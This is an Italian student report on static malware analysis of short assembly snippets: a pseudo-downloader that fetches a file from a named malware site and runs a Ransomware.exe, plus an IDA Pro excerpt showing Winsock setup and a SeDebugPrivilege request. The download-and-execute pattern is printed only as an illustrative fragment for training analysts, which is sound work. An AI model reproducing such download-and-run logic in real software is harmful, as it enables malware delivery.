



.S.

23.08.2025

REPORT PROGETTO S11/L5

ADAM DERRO



ESERCIZIO N.1

INTRODUZIONE

Questo esercizio si propone di esaminare il comportamento di un malware tramite l'analisi statica del codice assembly, focalizzandosi su come il programma malevolo esegue le sue operazioni principali. L'obiettivo dell'analisi è identificare e comprendere i meccanismi che il malware utilizza per scaricare ed eseguire un file dannoso, con un'attenzione particolare ai salti condizionali e alle chiamate di funzione

1. ANALISI DEI SALTI CONDIZIONALI

Il codice fornito contiene due salti condizionali:

- **Primo Salto Condizionale:**

- Istruzione: **jnz loc 0040BBA0**
- Descrizione: Questa istruzione confronta il valore di EAX con 5. Se EAX è diverso da 5, il salto viene eseguito verso l'indirizzo 0040BBA0, dove il programma scarica un file da un URL specifico tramite la funzione DownloadToFile.

0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile ()	; pseudo funzione

- **Secondo Salto Condizionale:**

- Istruzione: **jnz loc 0040FFAO**
- Descrizione: In un'altra parte del codice, viene confrontato il valore di EBX con 11. Se EBX è diverso da 11, il programma salta all'indirizzo 0040FFAO, dove viene eseguito un file .exe dal percorso specificato.

0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings \Local User\Desktop \Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

2. DIAGRAMMA DI FLUSSO

```
mov  EAX, 5  
mov  EBX, 10  
cmp  EAX, 5  
jnz  loc 0040BBA0
```



3. FUNZIONALITÀ IMPLEMENTATE NEL MALWARE

Attraverso l'analisi delle istruzioni e delle chiamate di funzione (call), sono state individuate le principali funzionalità implementate all'interno del malware, quali il download di un file da un URL specifico e l'esecuzione di un file ransomware.

Il codice del malware implementa le seguenti funzionalità:

Download di un File da un URL:

- Nella locazione **0040BBA8**, la funzione **DownloadToFile()** viene chiamata per scaricare un file dal sito web indicato (es. www.malwaredownload.com).

Esecuzione di un File Ransomware:

- Nella locazione **0040FFA8**, la funzione **WinExec()** viene chiamata per eseguire un file .exe (indicato come **Ransomware.exe**), che potrebbe rappresentare un eseguibile malevolo.

Queste funzionalità sono tipiche di malware che mirano a scaricare ed eseguire ulteriori payloads dannosi sul sistema infetto.

3. DESCRIZIONE TECNICA DELLE ISTRUZIONI

Le istruzioni call presenti nel codice sono utilizzate per chiamare le funzioni all'interno del malware. Ecco un dettaglio di come sono stati passati gli argomenti:

- **DownloadToFile():**
 - Argomenti:
 - EDI = www.malwaredownload.com (URL)
 - EAX (probabilmente un buffer o un handle per gestire il download)
 - Descrizione:
 - Il valore del registro EDI, contenente l'URL, viene passato alla funzione DownloadToFile() tramite il registro EAX. La funzione quindi utilizza questo URL per scaricare il file.
- **WinExec():**
 - Argomenti:
 - EDX = C:\Program and Settings\Local User\Desktop\Ransomware.exe (path del file da eseguire)
 - Descrizione:
 - Dettagli tecnici: Il percorso del file .exe è memorizzato in EDI, viene spostato in EDX e poi passato alla funzione WinExec() tramite lo stack, che esegue il file.

CONCLUSIONE

Basandoci sull'analisi condotta, il comportamento del codice suggerisce che il malware analizzato è un downloader. I downloader sono un tipo di malware progettato per scaricare e installare altri malware su un sistema compromesso. Nel nostro caso specifico, il malware prima scarica un file da un URL sospetto e poi esegue un file .exe (possibilmente un ransomware, come suggerisce il nome del file).

L'individuazione della funzione DownloadToFile per scaricare un file da un URL esterno e la successiva esecuzione di un file Ransomware.exe indicano chiaramente che il malware analizzato ha il compito di scaricare e distribuire un payload malevolo, probabilmente per infettare ulteriormente il sistema o lanciare un attacco più mirato.





BONUS

INTRODUZIONE

L'obiettivo di questo esercizio è comprendere il funzionamento generale di un file eseguibile analizzando una piccola porzione di codice assembly estratta con IDA Pro. L'analisi si è concentrata sulle principali operazioni e chiamate di funzione per identificare le caratteristiche essenziali del programma, senza entrare nei dettagli tecnici avanzati.

1. INIZIALIZZAZIONE DI WINSOCK

```
.text:0041DA74 loc_41DA74:          ; CODE XREF: _main+2A↑j
.text:0041DA74                 mov    edx, 101h
.text:0041DA79                 mov    [ebp+var_19C], dx
.text:0041DA80                 lea    eax, [ebp+WSAData]
.text:0041DA86                 push   eax           ; lpWSAData
.text:0041DA87                 movzx ecx, [ebp+var_19C]
.text:0041DA8E                 push   ecx           ; wVersionRequested
.text:0041DA8F                 call   ds:WSAStartup
.text:0041DA95                 test   eax, eax
.text:0041DA97                 jz    short loc_41DAAB
```

Questa porzione di codice mostra la chiamata alla funzione **WSAStartup**, che è utilizzata per inizializzare la libreria Winsock su sistemi Windows. Ciò suggerisce che il programma ha funzionalità legate alla comunicazione di rete.

2. GESTIONE DI ERRORI

```
.text:0041DA99  
.text:0041DA9E
```

```
push    offset aCouldNotInitia ; "Could not initialize Winsock.\n"  
call    sub_40837A
```

Qui vediamo una stringa che indica un messaggio di errore: "**Could not initialize Winsock.\n**". Questa parte del codice suggerisce che il programma è pronto a gestire situazioni in cui l'inizializzazione della comunicazione di rete fallisce, riportando un errore all'utente.

3. SEZIONI CRITICHE

```
.text:0041DAAB loc_41DAAB:  
.text:0041DAAB  
.text:0041DAB0  
push    offset stru_42BC20 ; lpCriticalSection  
call    ds:InitializeCriticalSection ; CODE XREF: _main+57↑j
```

La funzione **InitializeCriticalSection** viene chiamata per inizializzare una sezione critica, il che indica che il programma potrebbe essere multithreaded e che ha bisogno di gestire l'accesso a risorse condivise tra più thread, evitando condizioni di corsa.

4. MODIFICA DEI PRIVILEGI

```
.text:0041D4C1  
.text:0041D4C6
```

```
push    offset aSeDebugPrivilege ; "SeDebugPrivilege"  
call    sub_420F50
```

Questa porzione di codice mostra che il programma cerca di ottenere il privilegio SeDebugPrivilege. Questo è spesso usato per eseguire operazioni avanzate di debugging che richiedono elevati privilegi di sistema, come l'accesso a processi protetti o l'abilitazione di funzioni di debugging avanzato.

CONCLUSIONE

Il codice analizzato mostra un programma che interagisce con la rete (tramite l'inizializzazione di Winsock), gestisce errori di rete, sincronizza l'accesso alle risorse in un ambiente multithreaded, e cerca di ottenere privilegi di sistema elevati. Tutti questi elementi suggeriscono che il programma potrebbe avere funzionalità avanzate, come quelle di un malware, ma senza ulteriori dettagli sulle funzioni specifiche chiamate, non possiamo fare una conclusione definitiva. È essenziale basarsi solo su ciò che è visibile nel codice per evitare supposizioni non supportate dai fatti.





GRAZIE

ADAM DERRO